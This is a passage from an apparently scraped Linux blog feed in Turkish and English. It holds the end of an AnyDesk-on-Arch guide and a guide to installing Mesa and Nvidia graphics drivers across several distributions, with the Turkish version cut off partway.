&ccedil;al&inodot;&scedil;t&inodot;r&inodot;n:</span> git<span class="w"> </span>clone<span class="w"> </span>https://aur.archlinux.org/yay.git <span class="nb">cd</span><span class="w"> </span>yay makepkg<span class="w"> </span>-si </code></pre></div> <h2 id="adm-2-anydeski-indirip-kuralm">Ad&inodot;m 2: AnyDesk'i &Idot;ndirip Kural&inodot;m<a class="headerlink" href="#adm-2-anydeski-indirip-kuralm" title="Permanent link">#</a></h2> <p>Kaynak koddan derlemekle u&gbreve;ra&scedil;mayaca&gbreve;&inodot;z, haz&inodot;r derlenmi&scedil; binary paketi (<code>anydesk-bin</code>) kuraca&gbreve;&inodot;z ki h&inodot;zl&inodot; olsun.</p> <div class="highlight"><pre><span></span><code>yay<span class="w"> </span>-S<span class="w"> </span>anydesk-bin </code></pre></div> <p>Kurulum s&inodot;ras&inodot;nda sorular sorarsa <code>Enter</code> tu&scedil;una bas&inodot;p ge&ccedil;ebilirsiniz. H&inodot;zl&inodot; ve temiz.</p> <h2 id="adm-3-wayland-ckmaz-baglanamyorum-sorunu">Ad&inodot;m 3: Wayland &Ccedil;&inodot;kmaz&inodot; (Ba&gbreve;lanam&inodot;yorum Sorunu!)<a class="headerlink" href="#adm-3-wayland-ckmaz-baglanamyorum-sorunu" title="Permanent link">#</a></h2> <p>&Idot;&scedil;te i&scedil;in teknik ve can s&inodot;k&inodot;c&inodot; k&inodot;sm&inodot; buras&inodot;. Modern Linux da&gbreve;&inodot;t&inodot;mlar&inodot; (Gnome, KDE vb.) art&inodot;k varsay&inodot;lan olarak <strong>Wayland</strong> kullan&inodot;yor. Ancak AnyDesk, Wayland ile hala tam rand&inodot;manl&inodot; &ccedil;al&inodot;&scedil;am&inodot;yor.</p> <p>&Ouml;zellikle kar&scedil;&inodot; tarafa "Abi sen hi&ccedil;bir &scedil;eye dokunma, ben ba&gbreve;lan&inodot;p halledece&gbreve;im" diyorsan&inodot;z (Unattended Access), Wayland size kabus ya&scedil;at&inodot;r. Ekran gelmez, mouse &ccedil;al&inodot;&scedil;maz, izin pencereleri &ccedil;&inodot;kar...</p> <p>Bu y&uuml;zden, e&gbreve;er sorunsuz bir ba&gbreve;lant&inodot; istiyorsan&inodot;z, <strong>X11 (Xorg)</strong> kullanmak zorundas&inodot;n&inodot;z.</p> <h3 id="gnome-kullanclar-icin-cozum">Gnome Kullan&inodot;c&inodot;lar&inodot; &Idot;&ccedil;in &Ccedil;&ouml;z&uuml;m:<a class="headerlink" href="#gnome-kullanclar-icin-cozum" title="Permanent link">#</a></h3> <p>GDM ayar dosyas&inodot;n&inodot; d&uuml;zenleyip Wayland'i devre d&inodot;&scedil;&inodot; b&inodot;rakaca&gbreve;&inodot;z:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>nano<span class="w"> </span>/etc/gdm/custom.conf </code></pre></div> <p><code>[daemon]</code> ba&scedil;l&inodot;&gbreve;&inodot; alt&inodot;ndaki &scedil;u sat&inodot;r&inodot;n ba&scedil;&inodot;ndaki <code>#</code> i&scedil;aretini kald&inodot;r&inodot;n:</p> <div class="highlight"><pre><span></span><code><span class="k">[daemon]</span> <span class="na">WaylandEnable</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">false</span> </code></pre></div> <h3 id="kde-ve-digerleri-icin">KDE ve Di&gbreve;erleri &Idot;&ccedil;in:<a class="headerlink" href="#kde-ve-digerleri-icin" title="Permanent link">#</a></h3> <p>Bilgisayar&inodot; a&ccedil;arken &scedil;ifre ekran&inodot;nda, oturum t&uuml;r&uuml; olarak <strong>"Plasma (X11)"</strong> veya kulland&inodot;&gbreve;&inodot;n&inodot;z masa&uuml;st&uuml; ortam&inodot;n&inodot;n X11 versiyonunu se&ccedil;ti&gbreve;inizden emin olun.</p> <h2 id="adm-4-servisi-baslat-ve-unut_1">Ad&inodot;m 4: Servisi Ba&scedil;lat ve Unut<a class="headerlink" href="#adm-4-servisi-baslat-ve-unut" title="Permanent link">#</a></h2> <p>AnyDesk'i kurduk ama servis &ccedil;al&inodot;&scedil;mazsa ID alamazs&inodot;n&inodot;z veya "A&gbreve;a ba&gbreve;lan&inodot;l&inodot;yor" hatas&inodot; al&inodot;rs&inodot;n&inodot;z. Servisi ba&scedil;lat&inodot;p, her a&ccedil;&inodot;l&inodot;&scedil;ta otomatik &ccedil;al&inodot;&scedil;mas&inodot;n&inodot; sa&gbreve;layal&inodot;m:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>systemctl<span class="w"> </span><span class="nb">enable</span><span class="w"> </span>--now<span class="w"> </span>anydesk </code></pre></div> <p>&Idot;&scedil;lem tamam! Temiz bir ba&scedil;lang&inodot;&ccedil; i&ccedil;in <code>reboot</code> at&inodot;n.</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>reboot </code></pre></div> <h2 id="sonuc">Sonu&ccedil;<a class="headerlink" href="#sonuc" title="Permanent link">#</a></h2> <p>Evet, g&ouml;nl&uuml;m&uuml;z RustDesk'ten yana olsa da, hayat&inodot;n ger&ccedil;ekleri bazen bizi AnyDesk kurmaya zorluyor. Art&inodot;k Arch Linux sisteminiz, &scedil;irketteki Windows makinelerle veya akrabalar&inodot;n&inodot;z&inodot;n bilgisayarlar&inodot;yla "onlar&inodot;n dilinden" konu&scedil;maya haz&inodot;r.</p> <p>Bir g&uuml;n herkesin &ouml;zg&uuml;r yaz&inodot;l&inodot;m&inodot;n k&inodot;ymetini anlamas&inodot; dile&gbreve;iyle... O g&uuml;ne kadar ID numaran&inodot;z&inodot; kimseyle payla&scedil;may&inodot;n! 😎</p>2025-11-30T11:15:00+03:002025-11-30T11:15:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-30:/en/linux-gpu-driver-rehberi/

<p>Installing drivers on Linux isn't like on Windows. The Mesa 25.1 update, Nvidia DKMS modules, and a special guide for stubborn Debian users are all here.</p>

<p>I know that first moment of shock for everyone moving from Windows to Linux. You open the browser, go to the Nvidia or AMD website, and look for the "Download Driver" button... But wait! That's not how things work in the Linux world. Here, the rules are different, sometimes confusing, but much more logical once you get used to them.</p> <p>Today, I'll explain how to check and update your graphics drivers&mdash;the heart of your system&mdash;and how to get through it without seeing that dreaded black screen. Grab your coffee, open the terminal. We're starting.</p> <h2 id="important-warnings-dont-skip">Important Warnings (Don't Skip!)<a class="headerlink" href="#important-warnings-dont-skip" title="Permanent link">#</a></h2> <p><strong>SteamOS Users:</strong> If you're using a Steam Deck or SteamOS, take your hands off the keyboard. Valve already sends you the drivers (Mesa) with system updates. You don't need to do anything extra; you might break it. This guide is for other Linux distributions.</p> <p><strong>General Rule:</strong> Before diving into driver tasks, completely update your system and restart. Don't say, "Oh, nothing will happen"&mdash;it does. Trust me, I've been there.</p> <hr/> <h2 id="amd-and-intel-side-what-is-mesa">AMD and Intel Side: What is Mesa?<a class="headerlink" href="#amd-and-intel-side-what-is-mesa" title="Permanent link">#</a></h2> <p>AMD and Intel users are the "lucky" ones in the Linux world because these cards use <strong>Mesa</strong>. Mesa isn't just a single driver; it's a massive collection where open-source drivers are gathered.</p> <p>Terms you'll hear include:</p> <ul> <li><strong>RADV:</strong> Mesa's AMD Vulkan driver (supported by the community and Valve, usually the best one).</li> <li><strong>ANV:</strong> Mesa's Intel Vulkan driver.</li> <li><strong>AMDVLK:</strong> AMD's own official open-source driver.</li> </ul> <p>My advice (and what most gamers agree on): <strong>Stick with RADV.</strong> AMDVLK can sometimes cause compatibility issues, while RADV is rock solid.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></p> <h3 id="which-mesa-version-am-i-using">Which Mesa Version am I Using?<a class="headerlink" href="#which-mesa-version-am-i-using" title="Permanent link">#</a></h3> <p>To find out, we need to send a little whisper to the terminal.</p> <div class="highlight"><pre><span></span><code>glxinfo<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="s2">"Mesa"</span> </code></pre></div> <p>If the terminal shouts "Command not found" at you (which it usually does), you need to install these packages:</p> <div class="admonition tip"> <p class="admonition-title">Installing glxinfo ⚡</p> </div> <ul> <li><strong>Ubuntu/Mint/Debian:</strong> <code>sudo apt install mesa-utils</code></li> <li><strong>Arch Linux:</strong> <code>sudo pacman -S mesa-utils</code></li> <li><strong>Fedora:</strong> <code>sudo dnf install glx-utils</code></li> </ul> <p>When you run the command, you'll get an output like this:</p> <div class="highlight"><pre><span></span><code>OpenGL core profile version string: 4.6 (Core Profile) Mesa 25.0.3-1ubuntu2 </code></pre></div> <p>That <strong>Mesa 25.0.3</strong> part right there is your version.</p> <h3 id="how-to-update-mesa-critical-update-for-ubuntu-users">How to Update Mesa? (Critical Update for Ubuntu Users!)<a class="headerlink" href="#how-to-update-mesa-critical-update-for-ubuntu-users" title="Permanent link">#</a></h3> <p>This part got a bit confusing, but let's clear it up.</p> <p><strong>Ubuntu and Derivatives (Mint, etc.):</strong> We used to use the Kisak PPA for every version, but things have changed. Due to storage limits, Kisak has <strong>retired older versions (18.04 Bionic, 20.04 Focal, 22.04 Jammy).</strong> So, if you have an older system, this door is closed to you.</p> <p>But the good news is: If you're using <strong>Ubuntu 25.04 (Plucky)</strong> or <strong>24.10 (Oracular)</strong>, you can now easily switch to the latest <strong>Mesa 25.1</strong> version (specifically the 25.1.5 bug-fix release) via the Kisak PPA. Why is this important? Because new <strong>DXVK</strong> updates now recommend Mesa 25.1. This is a must to avoid performance loss while playing games with Proton.</p> <p>In short, if you're using a current version of Ubuntu, boost your system with these commands:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>add-apt-repository<span class="w"> </span>ppa:kisak/kisak-mesa sudo<span class="w"> </span>apt<span class="w"> </span>update sudo<span class="w"> </span>apt<span class="w"> </span>upgrade </code></pre></div> <p><strong>Arch, Fedora, Manjaro, EndeavourOS:</strong> You guys are still kings. Since your system is rolling-release, the latest version of Mesa already comes to you through normal updates. No need for extra adventures.</p> <hr/> <h2 id="nvidia-side-the-temperamental-bride_1">NVIDIA Side: The Temperamental Bride<a class="headerlink" href="#nvidia-side-the-temperamental-bride" title="Permanent link">#</a></h2> <p>Now we come to the most interesting part. Nvidia is known in the Linux world for its closed-source (proprietary) drivers and sometimes makes us miserable. But we have to install those drivers for performance.</p> <h3 id="ubuntu-mint-kubuntu">Ubuntu / Mint / Kubuntu<a class="headerlink" href="#ubuntu-mint-kubuntu" title="Permanent link">#</a></h3> <p>This is the easiest. Open the <strong>"Software &amp; Updates"</strong> app from the menu, and go to the <strong>"Additional Drivers"</strong> tab. You'll see the Nvidia drivers there. Select the recommended version and click "Apply."</p> <p>Or, if you're a terminal person:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>ubuntu-drivers<span class="w"> </span>list sudo<span class="w"> </span>ubuntu-drivers<span class="w"> </span>install<span class="w"> </span>nvidia:560 </code></pre></div> <p><em>(Of course, replace 560 with the latest version shown in the list.)</em></p> <h3 id="pop_os">Pop!_OS<a class="headerlink" href="#pop_os" title="Permanent link">#</a></h3> <p>The System76 team has solved this. Go into the <strong>Pop!_Shop</strong>, select the Nvidia driver, and install it. If you downloaded the Nvidia version of the ISO file anyway, the drivers come pre-installed. Comfort level: 100%.</p> <h3 id="fedora-requires-a-bit-of-effort">Fedora (Requires a Bit of Effort)<a class="headerlink" href="#fedora-requires-a-bit-of-effort" title="Permanent link">#</a></h3> <p>By its free software philosophy, Fedora does not offer Nvidia drivers by default. You first need to add the <strong>RPM Fusion</strong> repository.</p> <ol> <li><strong>RPM Fusion Installation:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>dnf<span class="w"> </span>install<span class="w"> </span>https://mirrors.rpmfusion.org/free/fedora/rpmfusion-free-release-<span class="k">$(</span>rpm<span class="w"> </span>-E<span class="w"> </span>%fedora<span class="k">)</span>.noarch.rpm<span class="w"> </span>https://mirrors.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-<span class="k">$(</span>rpm<span class="w"> </span>-E<span class="w"> </span>%fedora<span class="k">)</span>.noarch.rpm </code></pre></div> <ol> <li><strong>Driver Installation:</strong> For modern cards:</li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>dnf<span class="w"> </span>install<span class="w"> </span>akmod-nvidia </code></pre></div> <p>For CUDA support:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>dnf<span class="w"> </span>install<span class="w"> </span>xorg-x11-drv-nvidia-cuda </code></pre></div> <div class="admonition danger"> <p class="admonition-title">Secure Boot Trouble! 🛡️ If Secure Boot is enabled in the BIOS, you need to sign the driver. This process is a total headache (<code>kmodgenca</code>, <code>mokutil</code>, etc.). If you don't have a corporate requirement, disabling Secure Boot in the BIOS is the shortest path.</p> </div> <h3 id="arch-linux-the-dkms-detail">Arch Linux (The DKMS Detail!)<a class="headerlink" href="#arch-linux-the-dkms-detail" title="Permanent link">#</a></h3> <p>The Arch Wiki is a vast ocean on this topic, but let me summarize. It's very important which card you use.</p> <ul> <li><strong>Turing (RTX 20 series) and later:</strong> Open-source kernel modules are now recommended: <code>nvidia-open</code>.</li> <li><strong>LTS Kernel Users:</strong> <code>nvidia-open-lts</code>.</li> <li><strong>For Those Who "Can't Be Bothered":</strong> <code>nvidia-open-dkms</code>. This package automatically compiles the modules regardless of which kernel you use (Zen, LTS, Mainline). Peace of mind.</li> </ul> <p>And most importantly, <strong>32-bit support!</strong> Most Steam games still need 32-bit libraries. Open the <code>/etc/pacman.conf</code> file and uncomment the <code>[multilib]</code> line by removing the <code>#</code>.</p> <p>Then, update the system and install the drivers with this command:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pacman<span class="w"> </span>-Syu<span class="w"> </span>nvidia-open-dkms<span class="w"> </span>lib32-nvidia-utils </code></pre></div> <p><em>(If you're using an older card, replace <code>nvidia-open</code> parts with <code>nvidia</code>).</em></p> <h3 id="manjaro-and-endeavouros">Manjaro and EndeavourOS<a class="headerlink" href="#manjaro-and-endeavouros" title="Permanent link">#</a></h3> <p>These distributions make it easy.</p> <ul> <li><strong>Manjaro:</strong> <code>sudo mhwd -a pci nonfree 0300</code> command performs automatic installation.</li> <li><strong>EndeavourOS:</strong> There's the <code>nvidia-inst</code> tool. You can install both the driver and 32-bit support by saying <code>nvidia-inst --32</code>.</li> </ul> <h3 id="debian-special-section-for-the-stubborn">Debian (Special Section for the Stubborn)<a class="headerlink" href="#debian-special-section-for-the-stubborn" title="Permanent link">#</a></h3> <p>To be honest, using <strong>Debian Stable</strong> for gaming is like entering a Formula 1 track with a tractor. The drivers remain very old. But if you say, "I won't give up on Debian; stability is my middle name," I respect that.</p> <p>Just for you, I'm leaving the "Quick Installation Recipe" here for impatient Debian warriors. These commands open the <code>non-free</code> repositories, add the 32-bit architecture, and install Steam and the Nvidia driver.</p> <p>After becoming root by typing <code>su -</code> in the terminal, in order:</p> <div class="highlight"><pre><span></span><code><span class="c1"># Add 32-bit architecture</span> dpkg<span class="w"> </span>--add-architecture<span class="w"> </span>i386 <span class="c1"># Edit sources list (You might need to do this manually)</span> <span class="c1"># Add "non-free contrib" to the end of each line in /etc/apt/sources.list.</span> <span class="c1"># (E.g., main non-free contrib)</span> <span class="c1"># And the final blow:</span> apt<span class="w"> </span>update apt<span class="w"> </span>install<span class="w"> </span>steam<span class="w"> </span>nvidia-driver reboot </code></pre></div> <p>After doing this, the system restarts, and theoretically, you're ready to play games. Good luck (you'll need it)!</p> <hr/> <p>So that's the situation. Although driver business on Linux might look scary at first, once you grasp the logic, you say, "Why did I bother going from site to site on Windows?" Anyway, I'm off; an Arch system that needs updating is waiting for me (I hope it doesn't break 😅).</p> <ul> <li><a href="/en/arch-linux-nvidia-ekran-karti-kurulumu/">Arch Linux NVIDIA Graphics Card Installation</a></li> <li><a href="/en/arch-linux-linux-firmware-nvidia-hatasi-cozumu/">Arch Linux Linux Firmware NVIDIA Error Solution</a></li> <li><a href="/en/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/">Arch Linux NTSync Active Zen Kernel Guide</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>The RADV driver is constantly optimized by Valve engineers for the Steam Deck and Linux gaming. AMDVLK can remain more corporate-focused.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-30T11:15:00+03:002025-11-30T11:15:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-30:/linux-gpu-driver-rehberi/

<p>Linux'ta sürücü kurmak Windows'taki gibi değil. Mesa 25.1 güncellemesi, Nvidia DKMS modülleri ve Debian inatçıları için özel rehber burada.</p>

<p>Windows'tan Linux'a ge&ccedil;en herkesin ya&scedil;ad&inodot;&gbreve;&inodot; o ilk &scedil;ok an&inodot;n&inodot; bilirim. Taray&inodot;c&inodot;y&inodot; a&ccedil;ars&inodot;n, Nvidia veya AMD'nin sitesine girip "Download Driver" butonunu arars&inodot;n... Ama dur! Linux d&uuml;nyas&inodot;nda i&scedil;ler b&ouml;yle y&uuml;r&uuml;m&uuml;yor. Burada kurallar farkl&inodot;, bazen kafa kar&inodot;&scedil;t&inodot;r&inodot;c&inodot; ama al&inodot;&scedil;t&inodot;&gbreve;&inodot;nda &ccedil;ok daha mant&inodot;kl&inodot;.</p> <p>Bug&uuml;n, sisteminizin kalbi olan grafik s&uuml;r&uuml;c&uuml;lerini nas&inodot;l kontrol edece&gbreve;inizi, g&uuml;ncelleyece&gbreve;inizi ve o siyah ekran&inodot; g&ouml;rmeden bu i&scedil;ten nas&inodot;l s&inodot;yr&inodot;laca&gbreve;&inodot;n&inodot;z&inodot; anlataca&gbreve;&inodot;m. Kahvenizi al&inodot;n, terminali a&ccedil;&inodot;n. Ba&scedil;l&inodot;yoruz.</p> <h2 id="onemli-uyarlar-hemen-atlamayn">&Ouml;nemli Uyar&inodot;lar (Hemen Atlamay&inodot;n!)<a class="headerlink" href="#onemli-uyarlar-hemen-atlamayn" title="Permanent link">#</a></h2> <p><strong>SteamOS Kullananlar:</strong> E&gbreve;er Steam Deck veya SteamOS kullan&inodot;yorsan&inodot;z, elinizi klavyeden &ccedil;ekin. Valve, sistem g&uuml;ncellemeleriyle s&uuml;r&uuml;c&uuml;leri (Mesa) zaten size g&ouml;nderiyor. Ekstra bir &scedil;ey yapman&inodot;za gerek yok, bozars&inodot;n&inodot;z. Bu rehber di&gbreve;er Linux da&gbreve;&inodot;t&inodot;mlar&inodot; i&ccedil;in.</p> <p><strong>Genel Kural:</strong> S&uuml;r&uuml;c&uuml; i&scedil;lerine giri&scedil;meden &ouml;nce sisteminizi tamamen g&uuml;ncelleyin ve yeniden ba&scedil;lat&inodot;n. "Ya bir &scedil;ey olmaz" demeyin, oluyor. Tecr&uuml;beyle sabit.</p> <hr/> <h2 id="amd-ve-intel-cephesi-mesa-nedir">AMD ve Intel Cephesi: Mesa Nedir?<a class="headerlink" href="#amd-ve-intel-cephesi-mesa-nedir" title="Permanent link">#</a></h2> <p>AMD ve Intel kullan&inodot;c&inodot;lar&inodot;, Linux d&uuml;nyas&inodot;n&inodot;n "&scedil;ansl&inodot;" kesimi. &Ccedil;&uuml;nk&uuml; bu kartlar <strong>Mesa</strong> kullan&inodot;r. Mesa dedi&gbreve;imiz &scedil;ey tek bir s&uuml;r&uuml;c&uuml; de&gbreve;il, a&ccedil;&inodot;k kaynakl&inodot; s&uuml;r&uuml;c&uuml;lerin topland&inodot;&gbreve;&inodot; devasa bir koleksiyon.</p> <p>Duyaca&gbreve;&inodot;n&inodot;z terimler &scedil;unlar:</p> <ul> <li><strong>RADV:</strong> Mesa'n&inodot;n AMD Vulkan s&uuml;r&uuml;c&uuml;s&uuml; (Topluluk ve Valve destekli, genelde en iyisi bu).</li> <li><strong>ANV:</strong> Mesa'n&inodot;n Intel Vulkan s&uuml;r&uuml;c&uuml;s&uuml;.</li> <li><strong>AMDVLK:</strong> AMD'nin kendi resmi a&ccedil;&inodot;k kaynak s&uuml;r&uuml;c&uuml;s&uuml;.</li> </ul> <p>Benim tavsiyem (ve &ccedil;o&gbreve;u oyuncunun hemfikir oldu&gbreve;u konu): <strong>RADV'den &scedil;a&scedil;may&inodot;n.</strong> AMDVLK bazen uyumluluk sorunlar&inodot; &ccedil;&inodot;karabiliyor, RADV ise kaya gibi sa&gbreve;lam.<sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></p> <h3 id="hangi-mesa-surumunu-kullanyorum">Hangi Mesa S&uuml;r&uuml;m&uuml;n&uuml; Kullan&inodot;yorum?<a class="headerlink" href="#hangi-mesa-surumunu-kullanyorum" title="Permanent link">#</a></h3> <p>Bunu &ouml;&gbreve;renmek i&ccedil;in terminale k&uuml;&ccedil;&uuml;k bir f&inodot;s&inodot;lt&inodot; g&ouml;ndermemiz laz&inodot;m.</p> <div class="highlight"><pre><span></span><code>glxinfo<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="s2">"Mesa"</span> </code></pre></div> <p>E&gbreve;er terminal size "Komut bulunamad&inodot;" diye ba&gbreve;&inodot;r&inodot;rsa (ki genelde ba&gbreve;&inodot;r&inodot;r), &scedil;u paketleri kurman&inodot;z gerek:</p> <div class="admonition tip"> <p class="admonition-title">glxinfo Kurulumu ⚡</p> </div> <ul> <li><strong>Ubuntu/Mint/Debian:</strong> <code>sudo apt install mesa-utils</code></li> <li><strong>Arch Linux:</strong> <code>sudo pacman -S mesa-utils</code></li> <li><strong>Fedora:</strong> <code>sudo dnf install glx-utils</code></li> </ul> <p>Komutu &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;n&inodot;zda &scedil;&ouml;yle bir &ccedil;&inodot;kt&inodot; alacaks&inodot;n&inodot;z:</p> <div class="highlight"><pre><span></span><code>OpenGL core profile version string: 4.6 (Core Profile) Mesa 25.0.3-1ubuntu2 </code></pre></div> <p>O <strong>Mesa 25.0.3</strong> yazan yer var ya, i&scedil;te o sizin s&uuml;r&uuml;m&uuml;n&uuml;z.</p> <h3 id="mesa-nasl-guncellenir-ubuntu-kullanclar-icin-kritik-guncelleme">Mesa Nas&inodot;l G&uuml;ncellenir? (Ubuntu Kullan&inodot;c&inodot;lar&inodot; &Idot;&ccedil;in Kritik G&uuml;ncelleme!)<a class="headerlink" href="#mesa-nasl-guncellenir-ubuntu-kullanclar-icin-kritik-guncelleme" title="Permanent link">#</a></h3> <p>Buras&inodot; biraz kar&inodot;&scedil;t&inodot; ama toparlayal&inodot;m.</p> <p><strong>Ubuntu ve T&uuml;revleri (Mint vb.):</strong> Eskiden her s&uuml;r&uuml;m i&ccedil;in Kisak PPA kullan&inodot;rd&inodot;k ama i&scedil;ler de&gbreve;i&scedil;ti. Kisak, depolama limitleri y&uuml;z&uuml;nden <strong>eski s&uuml;r&uuml;mleri (18.04 Bionic, 20.04 Focal, 22.04 Jammy) emekliye ay&inodot;rd&inodot;.</strong> Yani eski bir sisteminiz varsa bu kap&inodot; size kapand&inodot;.</p> <p>Ama iyi haber &scedil;u: E&gbreve;er <strong>Ubuntu 25.04 (Plucky)</strong> veya <strong>24.10 (Oracular)</strong> kullan&inodot;yorsan&inodot;z, art&inodot;k en g&uuml;ncel <strong>Mesa 25.1</strong> s&uuml;r&uuml;m&uuml;ne (&ouml;zellikle 25.1.5 bug-fix s&uuml;r&uuml;m&uuml;ne) Kisak PPA ile kolayca ge&ccedil;ebiliyorsunuz. Neden &ouml;nemli? &Ccedil;&uuml;nk&uuml; yeni <strong>DXVK</strong> g&uuml;ncellemeleri art&inodot;k Mesa 25.1 &ouml;neriyor. Proton ile oyun oynarken performans kayb&inodot; ya&scedil;amamak i&ccedil;in bu &scedil;art.</p> <p>K&inodot;sacas&inodot;, g&uuml;ncel Ubuntu kullan&inodot;yorsan&inodot;z &scedil;u komutlarla sistemi u&ccedil;urun:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>add-apt-repository<span class="w"> </span>ppa:kisak/kisak-mesa sudo<span class="w"> </span>apt<span class="w"> </span>update sudo<span class="w"> </span>apt<span class="w"> </span>upgrade </code></pre></div> <p><strong>Arch, Fedora, Manjaro, EndeavourOS:</strong> Siz yine krals&inodot;n&inodot;z. Sisteminiz yuvarlanan (rolling) yap&inodot;da oldu&gbreve;u i&ccedil;in normal g&uuml;ncellemelerle Mesa'n&inodot;n en son s&uuml;r&uuml;m&uuml; zaten size gelir. Ekstra maceraya gerek yok.</p> <hr/> <h2 id="nvidia-cephesi-nazl-gelin_1">NVIDIA Cephesi: Nazl&inodot; Gelin<a class="headerlink" href="#nvidia-cephesi-nazl-gelin" title="Permanent link">#</a></h2> <p>Geldik i&scedil;in en civcivli k&inodot;sm&inodot;na. Nvidia, Linux d&uuml;nyas&inodot;nda kapal&inodot; kaynak kodlu (proprietary) s&uuml;r&uuml;c&uuml;leriyle bilinir ve bazen bizi kanser eder. Ama performans i&ccedil;in o s&uuml;r&uuml;c&uuml;leri kurmak zorunday&inodot;z.</p> <h3 id="ubuntu-mint-kubuntu">Ubuntu / Mint / Kubuntu<a class="headerlink" href="#ubuntu-mint-kubuntu" title="Permanent link">#</a></h3> <p>En kolay&inodot; bu. Men&uuml;den <strong>"Yaz&inodot;l&inodot;m ve G&uuml;ncellemeler"</strong> (Software &amp; Updates) uygulamas&inodot;n&inodot; a&ccedil;&inodot;n, <strong>"Ek S&uuml;r&uuml;c&uuml;ler"</strong> (Additional Drivers) sekmesine gelin. Orada Nvidia s&uuml;r&uuml;c&uuml;lerini g&ouml;receksiniz. Tavsiye edilen s&uuml;r&uuml;m&uuml; se&ccedil;ip "Uygula" deyin.</p> <p>Ha, "Ben terminalciyim" derseniz:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>ubuntu-drivers<span class="w"> </span>list sudo<span class="w"> </span>ubuntu-drivers<span class="w"> </span>install<span class="w"> </span>nvidia:560 </code></pre></div> <p><em>(560 yerine listede &ccedil;&inodot;kan en g&uuml;ncel s&uuml;r&uuml;m&uuml; yaz&inodot;n tabii.)</em></p> <h3 id="pop_os">Pop!_OS<a class="headerlink" href="#pop_os" title="Permanent link">#</a></h3> <p>System76 ekibi bu i&scedil;i &ccedil;&ouml;zm&uuml;&scedil;. <strong>Pop!_Shop</strong>'a girin, Nvidia s&uuml;r&uuml;c&uuml;s&uuml;n&uuml; se&ccedil;in ve kurun. Zaten ISO dosyas&inodot;n&inodot; indirirken Nvidia versiyonunu indirdiyseniz, s&uuml;r&uuml;c&uuml;ler kurulu geliyor. Rahatl&inodot;k seviyesi: %100.</p> <h3 id="fedora-biraz-ugrastrr">Fedora (Biraz U&gbreve;ra&scedil;t&inodot;r&inodot;r)<a class="headerlink" href="#fedora-biraz-ugrastrr" title="Permanent link">#</a></h3> <p>Fedora, &ouml;zg&uuml;r yaz&inodot;l&inodot;m felsefesi gere&gbreve;i Nvidia s&uuml;r&uuml;c&uuml;lerini varsay&inodot;lan olarak sunmaz. &Ouml;nce <strong>RPM Fusion</strong> deposunu eklemeniz laz&inodot;m.</p> <ol> <li><strong>RPM Fusion Kurulumu:</strong></li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>dnf<span class="w"> </span>install<span class="w"> </span>https://mirrors.rpmfusion.org/free/fedora/rpmfusion-free-release-<span class="k">$(</span>rpm<span class="w"> </span>-E<span class="w"> </span>%fedora<span class="k">)</span>.noarch.rpm<span class="w"> </span>https://mirrors.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-<span class="k">$(</span>rpm<span class="w"> </span>-E<span class="w"> </span>%fedora<span class="k">)</span>.noarch.rpm </code></pre></div> <ol> <li><strong>S&uuml;r&uuml;c&uuml; Kurulumu:</strong> Modern kartlar i&ccedil;in:</li> </ol> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>dnf<span class="w"> </span>install<span class="w"> </span>akmod-nvidia </code></pre></div> <p>CUDA deste&gbreve;i i&ccedil;in:</p> <div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>dnf<span class="w"> </span>install<span class="w"> </span>xorg-x11-drv-nvidia-cuda </code></pre></div> <div class="admonition danger"> <p class="admonition-title">Secure Boot Belas&inodot;! 🛡️ E&gbreve;er BIOS'ta Secure Boot a&ccedil;&inodot;ksa s&uuml;r&uuml;c&uuml;y&uuml; imzalaman&inodot;z (sign) gerekir. Bu i&scedil;lem tam bir ba&scedil; a&gbreve;r&inodot;s&inodot;d&inodot;r (<code>kmodgenca</code>, <code>mokutil</code> vs.). E&gbreve;er kurumsal bir zorunlulu&gbreve;unuz yoksa, BIOS'tan Secure Boot'u kapatmak en k&inodot;sa yol.</p> </div> <h3 id="arch-linux-dkms-detay">Arch Linux (DKMS Detay&inodot;!)<a class="headerlink" href="#arch-linux-dkms-detay" title="Permanent link">#</a></h3> <p>Arch Wiki bu konuda bir derya deniz ama &ouml;zet ge&ccedil;eyim. Hangi kart&inodot; kulland&inodot;&gbreve;&inodot;n&inodot;z &ccedil;ok &ouml;nemli.</p> <ul> <li><strong>Turing (RTX 20 serisi) ve sonras&inodot;:</strong> Art&inodot;k a&ccedil;&inodot;k kaynakl&inodot; kernel mod&uuml;lleri &ouml;neriliyor: <code>nvidia-open</code>.</li> <li><strong>LTS Kernel Kullananlar:</strong> <code>nvidia-open-lts</code>.</li> <li><strong>"Ben U&gbreve;ra&scedil;amam" Diyenler &Idot;&ccedil;in Joker:</strong> <code>nvidia-open-dkms</code>. Bu paket, hangi kerneli kullan&inodot;rsan&inodot;z kullan&inodot;n (Zen, LTS, Mainline) mod&uuml;lleri otomatik derler. Kafan&inodot;z rahat olur.</li> </ul> <p>Ve en &ouml;nemlisi, <strong>32-bit deste&gbreve;i!</strong> Steam 